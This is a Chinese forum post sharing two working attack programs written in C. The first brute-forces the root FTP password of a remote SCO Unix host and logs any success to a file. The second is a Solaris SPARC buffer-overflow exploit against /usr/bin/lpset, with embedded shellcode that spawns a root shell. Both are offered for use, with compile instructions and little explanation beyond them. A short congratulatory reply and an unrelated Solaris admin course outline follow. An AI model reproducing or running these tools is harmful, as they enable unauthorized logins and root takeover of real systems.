这是一个在Sco Unix下破解远程主机FTP密码的的程序;在Sun UNIX,一般用户下获得root权限的程序

oicqkill 2002-02-02 12:54:54
/*
╔══这是一个在Sco Unix下破解远程主机FTP密码的的程序 ═══╗
║ 版权所有:风 情 主 人.Miracle.Talent. ║
║ (C)Copyright m9m Corp 2000.09.11 ║
╠═════════════════════════════╣
║ 2000.09.11 Sco Unix5.05下编译测试通过 ║
║ cc -o myftp_ok ftp.c -lsocket -lc -lcurses ║
║ 更改IP为要破解的远程主机IP再次编译就可以啦 ║
║ OICQ:3135773 11602011 ║
║ 地址:成都市 ║
║ home:http://oicqkill.wz.cz ║
║ E-mail:oicqkill@163.net ║
║ Tel:(86-028) 保密 ║
║ ║
╠═════════════════════════════╣
║ 作者:X.T.M.T. ║
║ 时间:2000.09.11 ║
╚═════════════════════════════╝*/
#include "sys/types.h"
#include "sys/socket.h"
#include "netinet/in.h"
#include "arpa/inet.h"
#include "netdb.h"
#include "string.h"
#include "stdlib.h"
#include "stdio.h"
#include "string.h"
#include "stdarg.h"

#ifndef INADDR_NONE
#define INADDR_NONE 0xffffffff
#endif
#define MMXL 1024
#define MYy 10
#define Mx 95
#define MYx 2
#define YIP "127.0.0.1"

char ip[16];
char ps[Mx] = "qwertyuiopasdfghjklzxcvbnm1234567890-=!@#$%^&*()_+`~QWERTYUIOPASDFGHJKLZXCVBNM";
char pswd[8];
char color[10];
int first = 1;
int colorq = 30;
int colorb = 7;
int ipjishu;
int i0 = 0, i1 = 0, i2 = 0, i3 = 0, i4 = 0, i5 = 0, i6 = 0, i7 = 0;
unsigned int connectloop = 0;

void readip(int ipjishu);
void loopthestr(void);
void wtfile(const char *filename, const char *ip, const char *user, const char *passwd);
char *pswdp(void);
int myread(int s);
int connectsock(const char *host, const char *service, const char *transport);
/*------------------------
实际过程的函数
------------------------*/
void main(void){
int s = -1, i = 0, flag = 1;
char user[7] = "USER ";
char pass[7] = "PASS ";
char r_n[3] = "\r\n";
char wtline[30];
const char *filename = "./mypasswd";
memset(&ip, '\0', 16);
memset(&pswd, '\0', 8);
memset(&color, '\0', 10);
printf("%c[2J", 27);
strncat((char *)ip, (char *)YIP, 16);
for(; flag; )
{
if(colorq > 37)
{
colorb = 7;
colorq = 30;
}
sprintf(color, "%c[%d;%dm", 27, colorq, (colorq+colorb+10));
colorq++;
colorb -= 2;

memset(&pswd, '\0', 8);
sprintf(pswd, "%s", pswdp());
memset(&wtline, '\0', 30);
strncat(wtline, user, 7);
strncat(wtline, (char *)"root", strlen("root"));
strncat(wtline, r_n, strlen(r_n));
strncat(wtline, pass, strlen(pass));

strncat(wtline, pswd, strlen(pswd));
strncat(wtline, r_n, strlen(r_n));
if((s == -1) || (s == 0))
s = connectsock((const char *)ip, "ftp", "tcp");

printf(color);
printf("%c[25;2H", 27);
printf(" ");
printf("%c[25;2H", 27);
printf("IP:%s 用户名:%s 当前密码:%s", YIP, "root", pswd);

write((int)s, wtline, strlen(wtline));
i=myread(s);
if(i == 3 || i == 2)
{
continue;
}
if(i == 0)
{
write(s, wtline, strlen(wtline));
i=myread(s);
}
else if(i == 1)
{
printf("%c[2J", 27);
printf("%c[25;2H", 27);
printf(" ");
printf("%c[25;2H", 27);
printf("IP:%s 用户名:%s 密码成功:%s\r\n", YIP, "root", pswd);
wtfile(filename, ip, "root", (const char*)pswd);
flag = 0;
break;
}
else if(i == 5)
{
printf("要求输入密码!\r\n");
break;
}
else if(i == 4)
{
printf("要求输入用户名!\r\n");
break;
}
else
break;
}
}
/*------------------------
读取指定的IP列表文件(待补充)
------------------------*/
void readip(int ipjishu)
{
FILE *fp;
if((fp = fopen("ip.txt", "r")) != -1);
}
/*------------------------
将指定串写到指定文件中去
------------------------*/
void wtfile(filename, ip, user, passwd)
const char *filename, *ip, *user, *passwd;
{
FILE *fp;
if(strlen(filename) == 0)
{
printf("对不起,文件名不能为空!\r\n");
exit(0);
}
fp = fopen(filename, "a");
fprintf(fp, "ip:%s 用户名:%s 密码:%s\n", ip, user, passwd);
fclose(fp);
}
/*------------------------
读的程序
返回:
0.其它 :
1.破解成功
2.破解失败
3.要求输入用户名和密码
4.要求输入用户名
5.要求输入密码
------------------------*/
int myread(int s)
{
unsigned char lines[MMXL];
int i = 0;

memset((void *)lines, '\0', MMXL);
if((s == -1) || (s == 0))
s = connectsock((const char *)ip, "ftp", "tcp");
i = read(s, &lines, MMXL);
printf("%c[24;2H", 27);
printf(" ");
printf("%c[24;2H", 27);
printf("状态消息:%s", lines);
if((strstr((char *)lines, "logged in") != NULL) || (strstr((char *)lines, "230") != NULL))
return 1;
else if((strstr((char *)lines, "331") != NULL) || (strstr((char *)lines, "220") != NULL))
{
return myread(s);
}
else if(strstr((char *)lines, "530") != NULL)
return 2;
else if(strstr((char *)lines, "Password:") != NULL)
return 5;
else if(strstr((char *)lines, "ame:") != NULL)
return 4;
else if(i == 0)
return 3;
else
return 0;
}
/*-----------------------
返回一个密码串
------------------------*/
char *pswdp(void)
{
if(first == 1)
{
first = 0;
return pswd;
}
if(i0 > Mx)
{
i0 = 0;
pswd[0] = ps[i0];
i1++;
if(i1 > Mx)
{
i0 = 0;
pswd[1] = ps[i1];
i2++;
if(i2 > Mx)
{
i2 = 0;
pswd[2] = ps[i2];
i3++;
if(i3 > Mx)
{
i3 = 0;
pswd[3] = ps[i3];
i4++;
if(i4 > Mx)
{
i4 = 0;
pswd[4] = ps[i4];
i5++;
if(i5 > Mx)
{
i5 = 0; pswd[5] = ps[i5];
i6++;
if(i6 > Mx)
{
i6 = 0;
pswd[6] = ps[i6];
i7++;
if(i7 > Mx)
{
loopthestr();
return pswdp();
}
}
}
}
}
}
}
}
else
{
pswd[0] = ps[i0++];
}
return pswd;
}
/*------------------------
循环移动字符串
------------------------*/
void loopthestr(void)
{
char tmp = ps[0];
int i,j = strlen(ps) - 1;
for(i = 0; i < j; i++)
ps[i] = ps[i+1];
ps[i] = tmp;
}
/*------------------------
连接程序
------------------------*/
int connectsock(
const char *host,
const char *service,
const char *transport
)
{
struct hostent *phe;
struct servent *pse;
struct protoent *ppe;
struct sockaddr_in sin;
int s, type;

memset(&sin, 0, sizeof(sin));
sin.sin_family = AF_INET;

if(pse = getservbyname(service, transport))
sin.sin_port = pse->s_port;
else if((sin.sin_port = htons((u_short)atoi(service))) == 0)
{
printf("无法获得主机端口!\r\n");
}

if(phe = gethostbyname(host))
memcpy(&sin.sin_addr, phe->h_addr, phe->h_length);
else if((sin.sin_addr.s_addr = inet_addr(host)) == INADDR_NONE)
{
printf("无法获得主机名\r\n");
}

if((ppe = getprotobyname(transport)) == 0)
{
printf("无法取得使用的协议\r\n");
}

type = (strcmp(transport,"udp") == 0)?SOCK_DGRAM:SOCK_STREAM;
s = socket(PF_INET, type, ppe->p_proto);
if((connect(s, (struct sockaddr *)&sin, sizeof(sin)) == -1) && (connectloop < 99))
{
connectloop++;
connectsock(host, service, transport);
}
connectloop = 0;
return s;
}
/*
╔══这是一个在Sun UNIX,一般用户下获得root权限的程序 ═══╗
║ 版权所有:风 情 主 人.Miracle.Talent. ║
║ (C)Copyright m9m Corp 2001-09-21 ║
╠═════════════════════════════╣
║ Sun Unix下测试通过 ║
║ OICQ:3135773 11602011 ║
║ 地址:成都市 ║
║ home:http://oicqkill.wz.cz ║
║ E-mail:oicqkill@163.net ║
║ Tel:(86-028) 保密 ║
║ ║
╠═════════════════════════════╣
║ 作者:X.T.M.T. ║
║ 时间:2001-10-11 ║
╚═════════════════════════════╝*/
#define NOPNUM 864
#define ADRNUM 132
#define ALLIGN 3
char shellcode[] =
"\x20\xbf\xff\xff" /* bn,a <shellcode-4> */
"\x20\xbf\xff\xff" /* bn,a <shellcode> */
"\x7f\xff\xff\xff" /* call <shellcode+4> */
"\x90\x03\xe0\x20" /* add %o7,32,%o0 */
"\x92\x02\x20\x10" /* add %o0,16,%o1 */
"\xc0\x22\x20\x08" /* st %g0,[%o0+8] */
"\xd0\x22\x20\x10" /* st %o0,[%o0+16] */
"\xc0\x22\x20\x14" /* st %g0,[%o0+20] */
"\x82\x10\x20\x0b" /* mov 0xb,%g1 */
"\x91\xd0\x20\x08" /* ta 8 */
"/bin/ksh"
;
char jump[] =
"\x81\xc3\xe0\x08" /* jmp %o7+8 */
"\x90\x10\x00\x0e" /* mov %sp,%o0 */
;
static char nop[] = "\x80\x1c\x40\x11";
main(int argc, char **argv)
{
char buffer[10000], adr[4], *b;
int i;

printf("本代码属于共享,任何人不得以任何方式买卖!\n");
printf("违反者将从WWW永远消失,因为将有千万的人攻击他!\n");
printf("/usr/bin/lpset for solaris 2.6 2.7 sparc\n\n");
*((unsigned long*)adr) = (*(unsigned long(*)())jump)() + 10088 + 400;
b = buffer;
sprintf(b, "xxx=");
b += 4;
for(i = 0; i < 2; i++)
*b++ = 0xff;
for(i = 0; i < NOPNUM - 4; i++)
*b++ = nop[i%4];
for(i = 0; i < strlen(shellcode); i++)
*b++ = shellcode[i];
for(i = 0; i < ALLIGN; i++)
*b++=0xff;
for(i = 0;i < ADRNUM; i++)
*b++ = adr[i%4];
*b = 0;
execle("/usr/bin/lpset", "lsd", "-n", "xfn", "-a", buffer, "printer", 0, 0);
}
...全文
331 1 打赏 收藏 转发到动态 举报
AI 作业
写回复
用AI写文章
1 条回复
切换为时间正序
请发表友善的回复…
发表回复
redhat7 2002-02-02
  • 打赏
  • 举报
回复
呵呵,恭喜你啊
Solaris系统管理员培训 i 第一章 系统概念(System Concepts) 1 第二章 OpenBoot PROM 2 第三章 安装Solaris操作系统 6 第四章 软件包管理 7 第五章 补丁维护 10 第六章 启动过程 11 第七章 系统安全 13 第八章 用户管理 17 第九章 初始化文件管理 18 第十章 进程控制 18 第十一章 磁盘配置和命名 19 第十二章 磁盘、分区和格式化 21 第十三章 文件系统介绍 22 第十四章 文件系统挂接 25 第十五章 网络文件系统 26 Solaris网络管理员培训 28 第一章 网络地址和掩码 28 第二章 网络服务 29 第三章 路由和网关 31 第四章 DNS客户端的设置 32 Solaris使用技巧 33 取消root只能在控制台登陆的限制 33 取消root不能登录FTP的限制 33 在从WINDOWS传到UNIX在每行的结尾可能会出现^M 34 取消^M字符: 34 文件名为 -filename 如何去删除 34 ls的特殊用法: 34 Grep命令用法 35 Alias用法 35 Find命令用法 35 Cut命令用法 35 列出除了某些类型文件的当前目录所有文件: 35 改变unix提示符: 35 为环境变量增加新PATH路径(不影响老路径)。 36 列举与某个主题相关的所有unix命令: 36 查看unix版本号: 36 UNIX下整个目录拷贝 36 UNIX下文件格式与DOS文件格式互换 36 查看UNIX下已经安装的包-package 36 显示某一目录下所有文件size 36 文件加密: 36 使用nohup命令: 37 查看文件的方法: 37 检查磁盘剩余空间: 37 超级用户修改系统时间: 37 制作UNIX文件系统的iso文件 37 建SCO UNIX的安装光盘,可以增加自己的文件. 38 调整内核,防止黑客使用堆栈溢出 38 远程mount主机的目录 38 磁盘扫描fsck的语法如下: 39 ln软连接: 40 使用第二块硬盘. 40 将SOLARIS设置成PPP拨入服务器 41 使用第二块硬盘. 44 solaris下用光标键来调出历史命令 45 看进程,内存大小 45 看cpu的情况. 45 windows,unix,linux三个操作系统共存 46 Solaris 下打开硬盘DMA模式. 46 Solaris 下PPPOE的配置 46 ◆ 加强Solaris SPARC/x86操作系统的安全性 49 oracle8.1.5 for solaris 8 x86安装说明 60 1. 创建dba组和oracle用户 60 9. 实现数据库的自启动 62 oracle8.1.7 for solaris 8 x86安装说明 63 安装步骤 63 安装介绍 66 Solaris7 Apache+MySQL+PHP安装指南 71 1.下载并解压 Apache ,MySQL ,PHP 71 2.下载并安装编译器 72 3.编译并安装这3个软件: 73 4.配置Apache + MySQL + PHP 74 5.验证 Apache + MySQL + PHP 的有效性: 75 RealTek 8139网卡在solaris x86上的安装 76 Solaris 中安装声卡(X86) 77 附录: 78 A. Sun推荐培训 78 B.在VMWare中安装Solaris 8 82 C.UNIX系统操作入门 83 SOLARIS 2.6 常用管理命令

19,620

社区成员

发帖
与我相关
我的任务
社区描述
系统使用、管理、维护问题。可以是Ubuntu, Fedora, Unix等等
社区管理员
  • 系统维护与使用区社区
加入社区
  • 近7日
  • 近30日
  • 至今
社区公告
暂无公告

试试用AI创作助手写篇文章吧